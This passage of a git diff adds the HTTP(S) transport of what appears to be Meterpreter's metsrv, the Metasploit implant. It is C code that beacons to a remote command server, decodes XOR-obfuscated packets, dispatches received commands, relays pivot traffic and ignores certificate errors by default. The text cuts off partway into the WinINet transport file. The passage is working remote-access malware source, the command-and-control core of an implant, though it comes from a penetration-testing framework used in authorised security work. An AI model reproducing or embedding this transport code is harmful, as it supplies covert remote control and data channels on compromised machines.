proxyInfo->dwAccessType = WINHTTP_ACCESS_TYPE_NAMED_PROXY; + proxyInfo->lpszProxy = ieConfig.lpszProxy; + proxyInfo->lpszProxyBypass = ieConfig.lpszProxyBypass; + + // stop the cleanup code from removing these as we're using them behind the scenes and they will + // be freed later instead. + ieConfig.lpszProxy = NULL; + ieConfig.lpszProxyBypass = NULL;; + } + + if (ieConfig.lpszAutoConfigUrl) + { + GlobalFree(ieConfig.lpszAutoConfigUrl); + } + if (ieConfig.lpszProxy) + { + GlobalFree(ieConfig.lpszProxy); + } + if (ieConfig.lpszProxyBypass) + { + GlobalFree(ieConfig.lpszProxyBypass); + } + } + + // mark as "configured" so we don't attempt to do this horrible PoS mess again. + ctx->proxy_configured = TRUE; + } + + if (ctx->proxy_for_url && + !WinHttpSetOption(hReq, WINHTTP_OPTION_PROXY, ctx->proxy_for_url, sizeof(WINHTTP_PROXY_INFO))) + { + dprintf("[%s] Unable to set proxy options: %u", GetLastError()); + } + } + else + { + if (ctx->proxy_user) + { + dprintf("[%s] Setting proxy username to %S", direction, ctx->proxy_user); + if (!WinHttpSetOption(hReq, WINHTTP_OPTION_PROXY_USERNAME, ctx->proxy_user, (DWORD)(wcslen(ctx->proxy_user)))); + { + dprintf("[%s] Failed to set username %u", direction, GetLastError()); + } + } + if (ctx->proxy_pass) + { + dprintf("[%s] Setting proxy password to %S", direction, ctx->proxy_pass); + if (!WinHttpSetOption(hReq, WINHTTP_OPTION_PROXY_PASSWORD, ctx->proxy_pass, (DWORD)(wcslen(ctx->proxy_pass)))); + { + dprintf("[%s] Failed to set password %u", direction, GetLastError()); + } + } + } + + if (ctx->ssl) + { + flags = SECURITY_FLAG_IGNORE_UNKNOWN_CA + | SECURITY_FLAG_IGNORE_CERT_DATE_INVALID + | SECURITY_FLAG_IGNORE_CERT_CN_INVALID + | SECURITY_FLAG_IGNORE_CERT_WRONG_USAGE; + if (!WinHttpSetOption(hReq, WINHTTP_OPTION_SECURITY_FLAGS, &flags, sizeof(flags))) + { + dprintf("[%s] failed to set the security flags on the request", direction); + } + } + + return hReq; +} + +/* + * @brief Wrapper around WinHTTP-specific request handle closing functionality. + * @param hReq HTTP request handle. + * @return An indication of the result of sending the request. + */ +static BOOL close_request_winhttp(HANDLE hReq) +{ + return WinHttpCloseHandle(hReq); +} + +/*! + * @brief Wrapper around WinHTTP-specific response data reading functionality. + * @param hReq HTTP request handle. + * @param buffer Pointer to the data buffer. + * @param bytesToRead The number of bytes to read. + * @param bytesRead The number of bytes actually read. + * @return An indication of the result of sending the request. + */ +static BOOL read_response_winhttp(HANDLE hReq, LPVOID buffer, DWORD bytesToRead, LPDWORD bytesRead) +{ + return WinHttpReadData(hReq, buffer, bytesToRead, bytesRead); +} + + +/*! + * @brief Wrapper around WinHTTP-specific sending functionality. + * @param ctx Pointer to the current HTTP transport context. + * @param hReq HTTP request handle. + * @param buffer Pointer to the buffer to receive the data. + * @param size Buffer size. + * @return An indication of the result of sending the request. + */ +static BOOL send_request_winhttp(HttpTransportContext* ctx, HANDLE hReq, LPVOID buffer, DWORD size) +{ + if (ctx->custom_headers) + { + dprintf("[WINHTTP] Sending with custom headers: %S", ctx->custom_headers); + return WinHttpSendRequest(hReq, ctx->custom_headers, -1L, buffer, size, size, 0); + } + + return WinHttpSendRequest(hReq, NULL, 0, buffer, size, size, 0); +} + +/*! + * @brief Wrapper around WinHTTP-specific receiving functionality. + * @param hReq HTTP request handle. + * @return An indication of the result of receiving the request. + */ +static BOOL receive_response_winhttp(HANDLE hReq) +{ + return WinHttpReceiveResponse(hReq, NULL); +} + +/*! + * @brief Wrapper around WinHTTP-specific request response validation. + * @param hReq HTTP request handle. + * @param ctx The HTTP transport context. + * @return An indication of the result of getting a response. + */ +static DWORD validate_response_winhttp(HANDLE hReq, HttpTransportContext* ctx) +{ + DWORD statusCode; + DWORD statusCodeSize = sizeof(statusCode); + vdprintf("[PACKET RECEIVE WINHTTP] Getting the result code..."); + if (WinHttpQueryHeaders(hReq, WINHTTP_QUERY_STATUS_CODE | WINHTTP_QUERY_FLAG_NUMBER, WINHTTP_HEADER_NAME_BY_INDEX, &statusCode, &statusCodeSize, WINHTTP_NO_HEADER_INDEX)) + { + vdprintf("[PACKET RECEIVE WINHTTP] Returned status code is %d", statusCode); + + // did the request succeed? + if (statusCode != 200) + { + // There are a few reasons why this could fail, including proxy related stuff. + // If we fail, we're going to fallback to WinINET and see if that works instead. + // there could be a number of reasons for failure, but we're only going to try + // to handle the case where proxy authentication fails. We'll indicate failure and + // let the switchover happen for us. + + // However, we won't do this in the case where cert hash verification is turned on, + // because we don't want to expose people to MITM if they've explicitly asked us not + // to. + if (ctx->cert_hash == NULL && statusCode == 407) + { + return ERROR_WINHTTP_CANNOT_CONNECT; + } + + // indicate something is up. + return ERROR_BAD_CONFIGURATION; + } + } + + if (ctx->cert_hash != NULL) + { + vdprintf("[PACKET RECEIVE WINHTTP] validating certificate hash"); + PCERT_CONTEXT pCertContext = NULL; + DWORD dwCertContextSize = sizeof(pCertContext); + + if (!WinHttpQueryOption(hReq, WINHTTP_OPTION_SERVER_CERT_CONTEXT, &pCertContext, &dwCertContextSize)) + { + dprintf("[PACKET RECEIVE WINHTTP] Failed to get the certificate context: %u", GetLastError()); + return ERROR_WINHTTP_SECURE_INVALID_CERT; + } + + DWORD dwHashSize = 20; + BYTE hash[20]; + if (!CertGetCertificateContextProperty(pCertContext, CERT_SHA1_HASH_PROP_ID, hash, &dwHashSize)) + { + dprintf("[PACKET RECEIVE WINHTTP] Failed to get the certificate hash: %u", GetLastError()); + return ERROR_WINHTTP_SECURE_INVALID_CERT; + } + + if (memcmp(hash, ctx->cert_hash, CERT_HASH_SIZE) != 0) + { + dprintf("[SERVER] Server hash set to: %02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x", + hash[0], hash[1], hash[2], hash[3], hash[4], hash[5], hash[6], hash[7], hash[8], hash[9], hash[10], + hash[11], hash[12], hash[13], hash[14], hash[15], hash[16], hash[17], hash[18], hash[19]); + + dprintf("[PACKET RECEIVE WINHTTP] Certificate hash doesn't match, bailing out"); + return ERROR_WINHTTP_SECURE_INVALID_CERT; + } + } + + return ERROR_SUCCESS; +} + +/*! + * @brief Windows-specific function to transmit a packet via HTTP(s) using winhttp _and_ destroy it. + * @param remote Pointer to the \c Remote instance. + * @param packet Pointer to the \c Packet that is to be sent. + * @param completion Pointer to the completion routines to process. + * @return An indication of the result of processing the transmission request. + */ +static DWORD packet_transmit_http(Remote *remote, LPBYTE rawPacket, DWORD rawPacketLength) +{ + DWORD res = 0; + HINTERNET hReq; + BOOL result; + DWORD retries = 5; + HttpTransportContext* ctx = (HttpTransportContext*)remote->transport->ctx; + + lock_acquire(remote->lock); + + do + { + hReq = ctx->create_req(ctx, FALSE, "PACKET TRANSMIT"); + if (hReq == NULL) + { + break; + } + + result = ctx->send_req(ctx, hReq, rawPacket, rawPacketLength); + + if (!result) + { + dprintf("[PACKET TRANSMIT] Failed HttpSendRequest: %d", GetLastError()); + SetLastError(ERROR_NOT_FOUND); + break; + } + + dprintf("[PACKET TRANSMIT] request sent.. apparently"); + } while(0); + + ctx->close_req(hReq); + + lock_release(remote->lock); + + return res; +} + +/*! + * @brief Windows-specific function to receive a new packet via one of the HTTP libs (WinInet or WinHTTP). + * @param remote Pointer to the \c Remote instance. + * @param packet Pointer to a pointer that will receive the \c Packet data. + * @return An indication of the result of processing the transmission request. + */ +static DWORD packet_receive_http(Remote *remote, Packet **packet) +{ + DWORD headerBytes = 0, payloadBytesLeft = 0, res; + Packet *localPacket = NULL; + PacketHeader header; + LONG bytesRead; + BOOL inHeader = TRUE; + PUCHAR packetBuffer = NULL; + ULONG payloadLength; + HttpTransportContext* ctx = (HttpTransportContext*)remote->transport->ctx; + + HINTERNET hReq; + BOOL hRes; + DWORD retries = 5; + + lock_acquire(remote->lock); + + hReq = ctx->create_req(ctx, TRUE, "PACKET RECEIVE"); + if (hReq == NULL) + { + goto out; + } + + vdprintf("[PACKET RECEIVE HTTP] sending GET"); + hRes = ctx->send_req(ctx, hReq, NULL, 0); + + if (!hRes) + { + dprintf("[PACKET RECEIVE HTTP] Failed send_req: %d %d", GetLastError(), WSAGetLastError()); + SetLastError(ERROR_NOT_FOUND); + goto out; + } + + vdprintf("[PACKET RECEIVE HTTP] Waiting to see the response ..."); + if (ctx->receive_response && !ctx->receive_response(hReq)) + { + vdprintf("[PACKET RECEIVE] Failed receive: %d", GetLastError()); + SetLastError(ERROR_NOT_FOUND); + goto out; + } + + SetLastError(ctx->validate_response(hReq, ctx)); + + if (GetLastError() != ERROR_SUCCESS) + { + goto out; + } + + // Read the packet length + retries = 3; + vdprintf("[PACKET RECEIVE HTTP] Start looping through the receive calls"); + while (inHeader && retries > 0) + { + retries--; + if (!ctx->read_response(hReq, (PUCHAR)&header + headerBytes, sizeof(PacketHeader)-headerBytes, &bytesRead)) + { + dprintf("[PACKET RECEIVE HTTP] Failed HEADER read_response: %d", GetLastError()); + SetLastError(ERROR_NOT_FOUND); + goto out; + } + + vdprintf("[PACKET RECEIVE NHTTP] Data received: %u bytes", bytesRead); + + // If the response contains no data, this is fine, it just means the + // remote side had nothing to tell us. Indicate this through a + // ERROR_EMPTY response code so we can update the timestamp. + if (bytesRead == 0) + { + SetLastError(ERROR_EMPTY); + goto out; + } + + headerBytes += bytesRead; + + if (headerBytes != sizeof(PacketHeader)) + { + continue; + } + + inHeader = FALSE; + } + + if (headerBytes != sizeof(PacketHeader)) + { + dprintf("[PACKET RECEIVE HTTP] headerBytes not valid"); + SetLastError(ERROR_NOT_FOUND); + goto out; + } + + dprintf("[PACKET RECEIVE HTTP] decoding header"); + PacketHeader encodedHeader; + memcpy(&encodedHeader, &header, sizeof(PacketHeader)); + xor_bytes(header.xor_key, (PUCHAR)&header + sizeof(header.xor_key), sizeof(PacketHeader) - sizeof(header.xor_key)); + +#ifdef DEBUGTRACE + PUCHAR h = (PUCHAR)&header; + vdprintf("[HTTP] Packet header: [0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X]", + h[0], h[1], h[2], h[3], h[4], h[5], h[6], h[7], h[8], h[9], h[10], h[11], h[12], h[13], h[14], h[15], h[16], h[17], h[18], h[19], h[20], h[21], h[22], h[23], h[24], h[25], h[26], h[27], h[28], h[29], h[30], h[31]); +#endif + + payloadLength = ntohl(header.length) - sizeof(TlvHeader); + vdprintf("[REC HTTP] Payload length is %d", payloadLength); + DWORD packetSize = sizeof(PacketHeader) + payloadLength; + vdprintf("[REC HTTP] total buffer size for the packet is %d", packetSize); + payloadBytesLeft = payloadLength; + + // Allocate the payload + if (!(packetBuffer = (PUCHAR)malloc(packetSize))) + { + dprintf("[REC HTTP] Failed to create the packet buffer"); + SetLastError(ERROR_NOT_ENOUGH_MEMORY); + goto out; + } + dprintf("[REC HTTP] Allocated packet buffer at %p", packetBuffer); + + // Copy the packet header stuff over to the packet + memcpy_s(packetBuffer, sizeof(PacketHeader), (LPBYTE)&encodedHeader, sizeof(PacketHeader)); + + LPBYTE payload = packetBuffer + sizeof(PacketHeader); + + // Read the payload + retries = payloadBytesLeft; + while (payloadBytesLeft > 0 && retries > 0) + { + vdprintf("[PACKET RECEIVE HTTP] reading more data from the body..."); + retries--; + if (!ctx->read_response(hReq, payload + payloadLength - payloadBytesLeft, payloadBytesLeft, &bytesRead)) + { + dprintf("[PACKET RECEIVE] Failed BODY read_response: %d", GetLastError()); + SetLastError(ERROR_NOT_FOUND); + goto out; + } + + if (!bytesRead) + { + vdprintf("[PACKET RECEIVE HTTP] no bytes read, bailing out"); + SetLastError(ERROR_NOT_FOUND); + goto out; + } + + vdprintf("[PACKET RECEIVE HTTP] bytes read: %u", bytesRead); + payloadBytesLeft -= bytesRead; + } + + // Didn't finish? + if (payloadBytesLeft) + { + goto out; + } + +#ifdef DEBUGTRACE + h = (PUCHAR)&header.session_guid[0]; + dprintf("[HTTP] Packet Session GUID: %02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X", + h[0], h[1], h[2], h[3], h[4], h[5], h[6], h[7], h[8], h[9], h[10], h[11], h[12], h[13], h[14], h[15]); +#endif + + if (is_null_guid(header.session_guid) || memcmp(remote->orig_config->session.session_guid, header.session_guid, sizeof(header.session_guid)) == 0) + { + dprintf("[HTTP] Session GUIDs match (or packet guid is null), decrypting packet"); + SetLastError(decrypt_packet(remote, packet, packetBuffer, packetSize)); + } + else + { + dprintf("[HTTP] Session GUIDs don't match, looking for a pivot"); + PivotContext* pivotCtx = pivot_tree_find(remote->pivot_sessions, header.session_guid); + if (pivotCtx != NULL) + { + dprintf("[HTTP] Pivot found, dispatching packet on a thread (to avoid main thread blocking)"); + SetLastError(pivot_packet_dispatch(pivotCtx, packetBuffer, packetSize)); + + // mark this packet buffer as NULL as the thread will clean it up + packetBuffer = NULL; + *packet = NULL; + } + else + { + dprintf("[HTTP] Session GUIDs don't match, can't find pivot!"); + } + } + +out: + res = GetLastError(); + + dprintf("[HTTP] Cleaning up"); + SAFE_FREE(packetBuffer); + + // Cleanup on failure + if (res != ERROR_SUCCESS) + { + SAFE_FREE(localPacket); + } + + if (hReq) + { + ctx->close_req(hReq); + } + + lock_release(remote->lock); + + dprintf("[HTTP] Packet receive finished"); + + return res; +} + + +/*! + * @brief Initialise the HTTP(S) connection. + * @param transport Pointer to the transport instance. + * @return Indication of success or failure. + */ +static BOOL server_init_winhttp(Transport* transport) +{ + URL_COMPONENTS bits; + wchar_t tmpHostName[URL_SIZE]; + wchar_t tmpUrlPath[URL_SIZE]; + HttpTransportContext* ctx = (HttpTransportContext*)transport->ctx; + + dprintf("[WINHTTP] Initialising ..."); + + // configure proxy + if (ctx->proxy) + { + dprintf("[DISPATCH] Configuring with proxy: %S", ctx->proxy); + ctx->internet = WinHttpOpen(ctx->ua, WINHTTP_ACCESS_TYPE_NAMED_PROXY, ctx->proxy, WINHTTP_NO_PROXY_BYPASS, 0); + } + else + { + ctx->internet = WinHttpOpen(ctx->ua, WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0); + } + + if (!ctx->internet) + { + dprintf("[DISPATCH] Failed WinHttpOpen: %d", GetLastError()); + return FALSE; + } + + dprintf("[DISPATCH] Configured hInternet: 0x%.8x", ctx->internet); + + // The InternetCrackUrl method was poorly designed... + ZeroMemory(tmpHostName, sizeof(tmpHostName)); + ZeroMemory(tmpUrlPath, sizeof(tmpUrlPath)); + + ZeroMemory(&bits, sizeof(bits)); + bits.dwStructSize = sizeof(bits); + + bits.dwHostNameLength = URL_SIZE - 1; + bits.lpszHostName = tmpHostName; + + bits.dwUrlPathLength = URL_SIZE - 1; + bits.lpszUrlPath = tmpUrlPath; + + dprintf("[DISPATCH] About to crack URL: %S", transport->url); + WinHttpCrackUrl(transport->url, 0, 0, &bits); + + SAFE_FREE(ctx->uri); + ctx->uri = _wcsdup(tmpUrlPath); + transport->comms_last_packet = current_unix_timestamp(); + + dprintf("[DISPATCH] Configured URI: %S", ctx->uri); + dprintf("[DISPATCH] Host: %S Port: %u", tmpHostName, bits.nPort); + + // Allocate the connection handle + ctx->connection = WinHttpConnect(ctx->internet, tmpHostName, bits.nPort, 0); + if (!ctx->connection) + { + dprintf("[DISPATCH] Failed WinHttpConnect: %d", GetLastError()); + return FALSE; + } + + dprintf("[DISPATCH] Configured hConnection: 0x%.8x", ctx->connection); + + return TRUE; +} + +/*! + * @brief Deinitialise the HTTP(S) connection. + * @param remote Pointer to the remote instance with the HTTP(S) transport details wired in. + * @return Indication of success or failure. + */ +static DWORD server_deinit_http(Transport* transport) +{ + HttpTransportContext* ctx = (HttpTransportContext*)transport->ctx; + + dprintf("[HTTP] Deinitialising ..."); + + if (ctx->connection) + { + ctx->close_req(ctx->connection); + ctx->connection = NULL; + } + + if (ctx->internet) + { + ctx->close_req(ctx->internet); + ctx->internet = NULL; + } + + // have we had issues that require us to move? + if (ctx->move_to_wininet) + { + // yes, so switch on over. + transport_move_to_wininet(transport); + ctx->move_to_wininet = FALSE; + } + + return TRUE; +} + +/*! + * @brief The servers main dispatch loop for incoming requests using HTTP(S). + * @param remote Pointer to the remote endpoint for this server connection. + * @param dispatchThread Pointer to the main dispatch thread. + * @returns Indication of success or failure. + */ +static DWORD server_dispatch_http(Remote* remote, THREAD* dispatchThread) +{ + BOOL running = TRUE; + LONG result = ERROR_SUCCESS; + Packet* packet = NULL; + THREAD* cpt = NULL; + DWORD ecount = 0; + DWORD delay = 0; + Transport* transport = remote->transport; + HttpTransportContext* ctx = (HttpTransportContext*)transport->ctx; + + while (running) + { + if (transport->timeouts.comms != 0 && transport->comms_last_packet + transport->timeouts.comms < current_unix_timestamp()) + { + dprintf("[DISPATCH] Shutting down server due to communication timeout"); + break; + } + + if (remote->sess_expiry_end != 0 && remote->sess_expiry_end < current_unix_timestamp()) + { + dprintf("[DISPATCH] Shutting down server due to hardcoded expiration time"); + dprintf("Timestamp: %u Expiration: %u", current_unix_timestamp(), remote->sess_expiry_end); + break; + } + + if (event_poll(dispatchThread->sigterm, 0)) + { + dprintf("[DISPATCH] server dispatch thread signaled to terminate..."); + break; + } + + dprintf("[DISPATCH] Reading data from the remote side..."); + result = packet_receive_http(remote, &packet); + + if (result != ERROR_SUCCESS) + { + // Update the timestamp for empty replies + if (result == ERROR_EMPTY) + { + transport->comms_last_packet = current_unix_timestamp(); + } + else if (result == ERROR_WINHTTP_CANNOT_CONNECT) + { + dprintf("[DISPATCH] Failed to work correctly with WinHTTP, moving over to WinINET"); + // next we need to indicate that we need to do a switch to wininet when we terminate + ctx->move_to_wininet = TRUE; + + // and pretend to do a transport switch, to ourselves! + remote->next_transport = remote->transport; + result = ERROR_SUCCESS; + break; + } + else if (result == ERROR_WINHTTP_SECURE_INVALID_CERT) + { + // This means that the certificate validation failed, and so + // we don't trust who we're connecting with, so we need to move + // on to another transport. + // If we're the only transport, then we should wait for the allotted + // time before trying again. Otherwise, we can just switch immediately. + // This avoids spinning the process and making way too many requests + // in a short period of time (ie. avoiding noise). + if (remote->transport == remote->transport->next_transport) + { + remote->next_transport_wait = remote->transport->timeouts.retry_wait; + } + + break; + } + else if (result == ERROR_BAD_CONFIGURATION) + { + // something went wrong with WinINET so break. + break; + } + + delay = 10 * ecount; + if (ecount >= 10) + { + delay *= 10; + } + + ecount++; + + dprintf("[DISPATCH] no pending packets, sleeping for %dms...", min(10000, delay)); + Sleep(min(10000, delay)); + } + else + { + transport->comms_last_packet = current_unix_timestamp(); + + // Reset the empty count when we receive a packet + ecount = 0; + + dprintf("[DISPATCH] Returned result: %d", result); + + if (packet != NULL) + { + running = command_handle(remote, packet); + dprintf("[DISPATCH] command_process result: %s", (running ? "continue" : "stop")); + + if (ctx->new_uri != NULL) + { + dprintf("[DISPATCH] Recieved hot-patched URL for stageless: %S", ctx->new_uri); + dprintf("[DISPATCH] Old URI is: %S", ctx->uri); + dprintf("[DISPATCH] Old URL is: %S", transport->url); + + // if the new URI needs more space, let's realloc space for the new URL now + int diff = (int)wcslen(ctx->new_uri) - (int)wcslen(ctx->uri); + if (diff > 0) + { + dprintf("[DISPATCH] New URI is bigger by %d", diff); + transport->url = (wchar_t*)realloc(transport->url, (wcslen(transport->url) + diff + 1) * sizeof(wchar_t)); + } + + // we also need to patch the new URI into the original transport URL, not just the currently + // active URI for comms. If we don't, then migration behaves badly. + // The URL looks like this: http(s)://:port/lurivalue/UUIDJUNK/ + // Start by locating the start of the URI in the current URL, by finding the third slash, + // as this value includes the LURI + wchar_t* csr = transport->url; + for (int i = 0; i < 3; ++i) + { + // We need to move to the next character first in case + // we are currently pointing at the previously found / + // we know we're safe skipping the first character in the whole + // URL because that'll be part of the scheme (ie. 'h' in http) + ++csr; + + while (*csr != L'\0' && *csr != L'/') + { + ++csr; + } + + dprintf("[DISPATCH] %d csr: %p -> %S", i, csr, csr); + + // this shouldn't happen! + if (*csr == L'\0') + { + break; + } + } + + // the pointer that we have will be + dprintf("[DISPATCH] Pointer is at: %p -> %S", csr, csr); + + // patch in the new URI + wcscpy_s(csr, wcslen(diff > 0 ? ctx->new_uri : ctx->uri) + 1, ctx->new_uri); + dprintf("[DISPATCH] New URL is: %S", transport->url); + + // clean up + SAFE_FREE(ctx->uri); + ctx->uri = ctx->new_uri; + ctx->new_uri = NULL; + } + } + else + { + dprintf("[DISPATCH] Packet was NULL, this indicates that it was a pivot packet"); + } + } + } + + return result; +} + +/*! + * @brief Destroy the HTTP(S) transport. + * @param transport Pointer to the HTTP(S) transport to reset. + */ +static void transport_destroy_http(Transport* transport) +{ + if (transport && (transport->type & METERPRETER_TRANSPORT_HTTP)) + { + HttpTransportContext* ctx = (HttpTransportContext*)transport->ctx; + + dprintf("[TRANS HTTP] Destroying http transport for url %S", transport->url); + + if (ctx) + { + SAFE_FREE(ctx->cert_hash); + SAFE_FREE(ctx->proxy); + SAFE_FREE(ctx->proxy_pass); + SAFE_FREE(ctx->proxy_user); + SAFE_FREE(ctx->ua); + SAFE_FREE(ctx->uri); + SAFE_FREE(ctx->custom_headers); + if (ctx->proxy_for_url) + { + WINHTTP_PROXY_INFO* proxyInfo = (WINHTTP_PROXY_INFO*)ctx->proxy_for_url; + if (proxyInfo->lpszProxy) + { + GlobalFree(proxyInfo->lpszProxy); + } + if (proxyInfo->lpszProxyBypass) + { + GlobalFree(proxyInfo->lpszProxyBypass); + } + } + SAFE_FREE(ctx->proxy_for_url); + } + SAFE_FREE(transport->url); + SAFE_FREE(transport->ctx); + SAFE_FREE(transport); + } +} + +void transport_write_http_config(Transport* transport, MetsrvTransportHttp* config) +{ + HttpTransportContext* ctx = (HttpTransportContext*)transport->ctx; + + dprintf("[HTTP CONF] Writing timeouts"); + config->common.comms_timeout = transport->timeouts.comms; + config->common.retry_total = transport->timeouts.retry_total; + config->common.retry_wait = transport->timeouts.retry_wait; + wcsncpy(config->common.url, transport->url, URL_SIZE); + + if (ctx->ua) + { + dprintf("[HTTP CONF] Writing UA"); + wcsncpy(config->ua, ctx->ua, UA_SIZE); + } + + if (ctx->cert_hash) + { + dprintf("[HTTP CONF] Writing cert hash"); + memcpy(config->ssl_cert_hash, ctx->cert_hash, CERT_HASH_SIZE); + } + + if (ctx->proxy) + { + dprintf("[HTTP CONF] Writing proxy"); + wcsncpy(config->proxy.hostname, ctx->proxy, PROXY_HOST_SIZE); + } + + if (ctx->proxy_user) + { + dprintf("[HTTP CONF] Writing user"); + wcsncpy(config->proxy.username, ctx->proxy_user, PROXY_USER_SIZE); + } + + if (ctx->proxy_pass) + { + dprintf("[HTTP CONF] Writing pass"); + wcsncpy(config->proxy.password, ctx->proxy_pass, PROXY_PASS_SIZE); + } + + + if (ctx->custom_headers) + { + dprintf("[HTTP CONF] Writing custom headers"); + // let's hope they've allocated the right amount of space based on what we told them + // in transport_get_config_size_http + wcscpy(config->custom_headers, ctx->custom_headers); + } + + dprintf("[HTTP CONF] Done."); +} + +/*! + * @brief Gets the size of the memory space required to store the configuration for this transport. + * @param t Pointer to the transport. + * @return Size, in bytes of the required memory block. + */ +static DWORD transport_get_config_size_http(Transport* t) +{ + DWORD size = sizeof(MetsrvTransportHttp); + + // Make sure we account for the custom headers, if there are any, which aren't + // of a predetermined size. + HttpTransportContext* ctx = (HttpTransportContext*)t->ctx; + if (ctx->custom_headers) + { + size += (DWORD)wcslen(ctx->custom_headers) * sizeof(ctx->custom_headers[0]); + } + return size; +} + + +/*! + * @brief Create an HTTP(S) transport from the given settings. + * @param config Pointer to the HTTP configuration block. + * @param size Pointer to the size of the parsed config block. + * @param config Pointer to the HTTP configuration block. + * @return Pointer to the newly configured/created HTTP(S) transport instance. + */ +Transport* transport_create_http(MetsrvTransportHttp* config, LPDWORD size) +{ + Transport* transport = (Transport*)malloc(sizeof(Transport)); + HttpTransportContext* ctx = (HttpTransportContext*)malloc(sizeof(HttpTransportContext)); + + if (size) + { + *size = sizeof(MetsrvTransportHttp); + } + + dprintf("[TRANS HTTP] Creating http transport for url %S", config->common.url); + + memset(transport, 0, sizeof(Transport)); + memset(ctx, 0, sizeof(HttpTransportContext)); + + dprintf("[TRANS HTTP] Given ua: %S", config->ua); + if (config->ua[0]) + { + ctx->ua = _wcsdup(config->ua); + } + dprintf("[TRANS HTTP] Given proxy host: %S", config->proxy.hostname); + if (config->proxy.hostname[0]) + { + ctx->proxy = _wcsdup(config->proxy.hostname); + } + dprintf("[TRANS HTTP] Given proxy user: %S", config->proxy.username); + if (config->proxy.username[0]) + { + ctx->proxy_user = _wcsdup(config->proxy.username); + } + dprintf("[TRANS HTTP] Given proxy pass: %S", config->proxy.password); + if (config->proxy.password[0]) + { + ctx->proxy_pass = _wcsdup(config->proxy.password); + } + ctx->ssl = wcsncmp(config->common.url, L"https", 5) == 0; + + if (config->custom_headers[0]) + { + ctx->custom_headers = _wcsdup(config->custom_headers); + if (size) + { + *size += (DWORD)wcslen(ctx->custom_headers) * sizeof(ctx->custom_headers[0]); + } + } + + dprintf("[SERVER] Received HTTPS Hash: %02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x", + config->ssl_cert_hash[0], config->ssl_cert_hash[1], config->ssl_cert_hash[2], config->ssl_cert_hash[3], + config->ssl_cert_hash[4], config->ssl_cert_hash[5], config->ssl_cert_hash[6], config->ssl_cert_hash[7], + config->ssl_cert_hash[8], config->ssl_cert_hash[9], config->ssl_cert_hash[10], config->ssl_cert_hash[11], + config->ssl_cert_hash[12], config->ssl_cert_hash[13], config->ssl_cert_hash[14], config->ssl_cert_hash[15], + config->ssl_cert_hash[16], config->ssl_cert_hash[17], config->ssl_cert_hash[18], config->ssl_cert_hash[19]); + + // only apply the cert hash if we're given one and it's not the global value + SAFE_FREE(ctx->cert_hash); + unsigned char emptyHash[CERT_HASH_SIZE] = { 0 }; + if (memcmp(config->ssl_cert_hash, emptyHash, CERT_HASH_SIZE)) + { + ctx->cert_hash = (PBYTE)malloc(sizeof(BYTE) * 20); + memcpy(ctx->cert_hash, config->ssl_cert_hash, 20); + } + + ctx->create_req = get_request_winhttp; + ctx->send_req = send_request_winhttp; + ctx->close_req = close_request_winhttp; + ctx->validate_response = validate_response_winhttp; + ctx->receive_response = receive_response_winhttp; + ctx->read_response = read_response_winhttp; + + transport->timeouts.comms = config->common.comms_timeout; + transport->timeouts.retry_total = config->common.retry_total; + transport->timeouts.retry_wait = config->common.retry_wait; + transport->type = ctx->ssl ? METERPRETER_TRANSPORT_HTTPS : METERPRETER_TRANSPORT_HTTP; + ctx->url = transport->url = _wcsdup(config->common.url); + transport->packet_transmit = packet_transmit_http; + transport->server_dispatch = server_dispatch_http; + transport->transport_init = server_init_winhttp; + transport->transport_deinit = server_deinit_http; + transport->transport_destroy = transport_destroy_http; + transport->ctx = ctx; + transport->comms_last_packet = current_unix_timestamp(); + transport->get_config_size = transport_get_config_size_http; + + return transport; +} diff --git a/c/meterpreter/source/server/win/server_transport_winhttp.h b/c/meterpreter/source/metsrv/server_transport_winhttp.h old mode 100755 new mode 100644 similarity index 63% rename from c/meterpreter/source/server/win/server_transport_winhttp.h rename to c/meterpreter/source/metsrv/server_transport_winhttp.h index 80fb16b0..b1385353 --- a/c/meterpreter/source/server/win/server_transport_winhttp.h +++ b/c/meterpreter/source/metsrv/server_transport_winhttp.h @@ -1,5 +1,5 @@ -#ifndef _METERPRETER_SERVER_TRANSPORT_WINHTTP -#define _METERPRETER_SERVER_TRANSPORT_WINHTTP +#ifndef _METERPRETER_METSRV_TRANSPORT_WINHTTP +#define _METERPRETER_METSRV_TRANSPORT_WINHTTP void transport_write_http_config(Transport* transport, MetsrvTransportHttp* config); Transport* transport_create_http(MetsrvTransportHttp* httpConfig, LPDWORD size); diff --git a/c/meterpreter/source/server/win/server_transport_wininet.c b/c/meterpreter/source/metsrv/server_transport_wininet.c old mode 100755 new mode 100644 similarity index 96% rename from c/meterpreter/source/server/win/server_transport_wininet.c rename to c/meterpreter/source/metsrv/server_transport_wininet.c index 6bcc31fc..0d47688f --- a/c/meterpreter/source/server/win/server_transport_wininet.c +++ b/c/meterpreter/source/metsrv/server_transport_wininet.c @@ -1,236 +1,236 @@ -/*! - * @file server_transport_wininet.c - */ -#include "metsrv.h" -#include - -/*! - * @brief Prepare a wininet request with the given context. - * @param ctx Pointer to the HTTP transport context to prepare the request from. - * @param isGet Indication of whether this request is a GET request, otherwise POST is used. - * @param direction String representing the direction of the communications (for debug). - * @return An Internet request handle. - */ -static HINTERNET get_request_wininet(HttpTransportContext *ctx, BOOL isGet, const char *direction) -{ - HINTERNET hReq = NULL; - DWORD flags = INTERNET_FLAG_RELOAD - | INTERNET_FLAG_NO_CACHE_WRITE - | INTERNET_FLAG_KEEP_CONNECTION - | INTERNET_FLAG_NO_AUTO_REDIRECT - | INTERNET_FLAG_NO_UI; - - if (ctx->ssl) - { - flags |= INTERNET_FLAG_SECURE - | INTERNET_FLAG_IGNORE_CERT_CN_INVALID - | INTERNET_FLAG_IGNORE_CERT_DATE_INVALID; - dprintf("[%s] Setting secure request flag..", direction); - } - - do - { - vdprintf("[%s] opening request on connection %x to %S", direction, ctx->connection, ctx->uri); - hReq = HttpOpenRequestW(ctx->connection, isGet ? 